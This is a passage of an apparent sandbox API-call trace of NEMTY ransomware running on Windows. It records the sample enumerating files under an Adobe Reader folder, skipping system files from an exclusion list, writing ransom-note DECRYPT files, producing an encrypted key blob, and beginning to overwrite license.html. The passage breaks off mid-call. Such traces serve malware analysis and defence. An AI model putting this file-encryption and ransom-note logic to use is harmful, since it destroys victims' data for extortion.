ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1acd1af0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0173.104] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0173.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0173.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0173.104] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="RUM", cAlternateFileName="")) returned 1 [0173.105] lstrcmpiW (lpString1="RUM", lpString2=".") returned 1 [0173.105] lstrcmpiW (lpString1="RUM", lpString2="..") returned 1 [0173.105] lstrcmpiW (lpString1="RUM", lpString2="...") returned 1 [0173.105] lstrcmpiW (lpString1="RUM", lpString2="windows") returned -1 [0173.105] lstrcmpiW (lpString1="RUM", lpString2="$RECYCLE.BIN") returned 1 [0173.105] lstrcmpiW (lpString1="RUM", lpString2="rsa") returned 1 [0173.105] lstrcmpiW (lpString1="RUM", lpString2="NTDETECT.COM") returned 1 [0173.105] lstrcmpiW (lpString1="RUM", lpString2="ntldr") returned 1 [0173.105] lstrcmpiW (lpString1="RUM", lpString2="MSDOS.SYS") returned 1 [0173.105] lstrcmpiW (lpString1="RUM", lpString2="IO.SYS") returned 1 [0173.105] lstrcmpiW (lpString1="RUM", lpString2="boot.ini") returned 1 [0173.105] lstrcmpiW (lpString1="RUM", lpString2="boot.ini") returned 1 [0173.105] lstrcmpiW (lpString1="RUM", lpString2="AUTOEXEC.BAT") returned 1 [0173.105] lstrcmpiW (lpString1="RUM", lpString2="ntuser.dat") returned 1 [0173.105] lstrcmpiW (lpString1="RUM", lpString2="desktop.ini") returned 1 [0173.105] lstrcmpiW (lpString1="RUM", lpString2="CONFIG.SYS") returned 1 [0173.105] lstrcmpiW (lpString1="RUM", lpString2="RECYCLER") returned 1 [0173.105] lstrcmpiW (lpString1="RUM", lpString2="BOOTSECT.BAK") returned 1 [0173.105] lstrcmpiW (lpString1="RUM", lpString2="bootmgr") returned 1 [0173.105] lstrcmpiW (lpString1="RUM", lpString2="programdata") returned 1 [0173.105] lstrcmpiW (lpString1="RUM", lpString2="appdata") returned 1 [0173.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RUM", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RUM", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RUM", lpUsedDefaultChar=0x0) returned 3 [0173.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RUM", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RUM", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RUM", lpUsedDefaultChar=0x0) returned 3 [0173.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0173.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0173.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0173.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0173.105] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.105] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0173.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0173.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0173.106] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0173.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0173.107] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.107] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0173.108] CloseHandle (hObject=0x254) returned 1 [0173.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0173.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0173.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0173.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0173.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0173.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0173.108] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.108] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0173.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0173.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.108] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0173.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.109] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.109] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0173.110] CloseHandle (hObject=0x254) returned 1 [0173.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0173.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0173.110] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1ad1ddb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ad1ddb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0173.110] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0173.110] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1ad1ddb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ad1ddb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0173.110] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0173.110] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0173.110] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4d6, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0173.110] lstrcmpiW (lpString1="eula.ini", lpString2=".") returned 1 [0173.110] lstrcmpiW (lpString1="eula.ini", lpString2="..") returned 1 [0173.110] lstrcmpiW (lpString1="eula.ini", lpString2="...") returned 1 [0173.110] lstrcmpiW (lpString1="eula.ini", lpString2="windows") returned -1 [0173.110] lstrcmpiW (lpString1="eula.ini", lpString2="$RECYCLE.BIN") returned 1 [0173.110] lstrcmpiW (lpString1="eula.ini", lpString2="rsa") returned -1 [0173.110] lstrcmpiW (lpString1="eula.ini", lpString2="NTDETECT.COM") returned -1 [0173.110] lstrcmpiW (lpString1="eula.ini", lpString2="ntldr") returned -1 [0173.110] lstrcmpiW (lpString1="eula.ini", lpString2="MSDOS.SYS") returned -1 [0173.110] lstrcmpiW (lpString1="eula.ini", lpString2="IO.SYS") returned -1 [0173.110] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0173.110] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0173.110] lstrcmpiW (lpString1="eula.ini", lpString2="AUTOEXEC.BAT") returned 1 [0173.110] lstrcmpiW (lpString1="eula.ini", lpString2="ntuser.dat") returned -1 [0173.111] lstrcmpiW (lpString1="eula.ini", lpString2="desktop.ini") returned 1 [0173.111] lstrcmpiW (lpString1="eula.ini", lpString2="CONFIG.SYS") returned 1 [0173.111] lstrcmpiW (lpString1="eula.ini", lpString2="RECYCLER") returned -1 [0173.111] lstrcmpiW (lpString1="eula.ini", lpString2="BOOTSECT.BAK") returned 1 [0173.111] lstrcmpiW (lpString1="eula.ini", lpString2="bootmgr") returned 1 [0173.111] lstrcmpiW (lpString1="eula.ini", lpString2="programdata") returned -1 [0173.111] lstrcmpiW (lpString1="eula.ini", lpString2="appdata") returned 1 [0173.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0173.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.112] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe796, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0173.112] lstrcmpiW (lpString1="license.html", lpString2=".") returned 1 [0173.112] lstrcmpiW (lpString1="license.html", lpString2="..") returned 1 [0173.112] lstrcmpiW (lpString1="license.html", lpString2="...") returned 1 [0173.112] lstrcmpiW (lpString1="license.html", lpString2="windows") returned -1 [0173.112] lstrcmpiW (lpString1="license.html", lpString2="$RECYCLE.BIN") returned 1 [0173.112] lstrcmpiW (lpString1="license.html", lpString2="rsa") returned -1 [0173.112] lstrcmpiW (lpString1="license.html", lpString2="NTDETECT.COM") returned -1 [0173.112] lstrcmpiW (lpString1="license.html", lpString2="ntldr") returned -1 [0173.112] lstrcmpiW (lpString1="license.html", lpString2="MSDOS.SYS") returned -1 [0173.112] lstrcmpiW (lpString1="license.html", lpString2="IO.SYS") returned 1 [0173.112] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0173.112] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0173.112] lstrcmpiW (lpString1="license.html", lpString2="AUTOEXEC.BAT") returned 1 [0173.112] lstrcmpiW (lpString1="license.html", lpString2="ntuser.dat") returned -1 [0173.112] lstrcmpiW (lpString1="license.html", lpString2="desktop.ini") returned 1 [0173.112] lstrcmpiW (lpString1="license.html", lpString2="CONFIG.SYS") returned 1 [0173.112] lstrcmpiW (lpString1="license.html", lpString2="RECYCLER") returned -1 [0173.112] lstrcmpiW (lpString1="license.html", lpString2="BOOTSECT.BAK") returned 1 [0173.112] lstrcmpiW (lpString1="license.html", lpString2="bootmgr") returned 1 [0173.112] lstrcmpiW (lpString1="license.html", lpString2="programdata") returned -1 [0173.112] lstrcmpiW (lpString1="license.html", lpString2="appdata") returned 1 [0173.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0173.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0173.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0173.113] Sleep (dwMilliseconds=0x5) [0173.127] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ad6a070, dwHighDateTime=0x1d561e8)) [0173.127] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ad6a070, dwHighDateTime=0x1d561e8)) [0173.127] GetLastError () returned 0xb7 [0173.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.127] GetLastError () returned 0xb7 [0173.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.127] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.127] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.127] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0173.127] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="3V4Qda9Vh2yLlkns8BFJEQTeAROREHe56aehppEITOpqiSv57HqSpfPmbahcIYW8\r\nu24qLMfzvUjGfFrXIjh8BcgcIYX2RttCID4UdAQtgUcRhRJV1K8XM2wgri8FAHLn\r\nqoTzhBs05OkdMdOHu9GgZOddU1dknHwNqpS0fqc+upzqOxPezuzLkQTVMoFNEnaU\r\niKCdPZseIt2AG+SFAJ9+IsMlolqOZim7jr+Cyt+SB54yIyv05jdvdn2bAowAJKp/\r\n9iZDuo1v9MX/k8HB/or/0cYQLK44MzaVdFtYRkOohcPf+mLzyRG7RQSzljuQuEOX\r\nBgmMoxZCJFnq1E2pmJw+Qg==\r\n", pcchString=0x653e5dc) returned 1 [0173.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0173.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.128] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0173.128] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=59286) returned 1 [0173.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe790) returned 0x6352c48 [0173.128] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.128] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xe790, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xe790, lpOverlapped=0x0) returned 1 [0173.133] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.133] WriteFile (in: hFile=0x3b0, 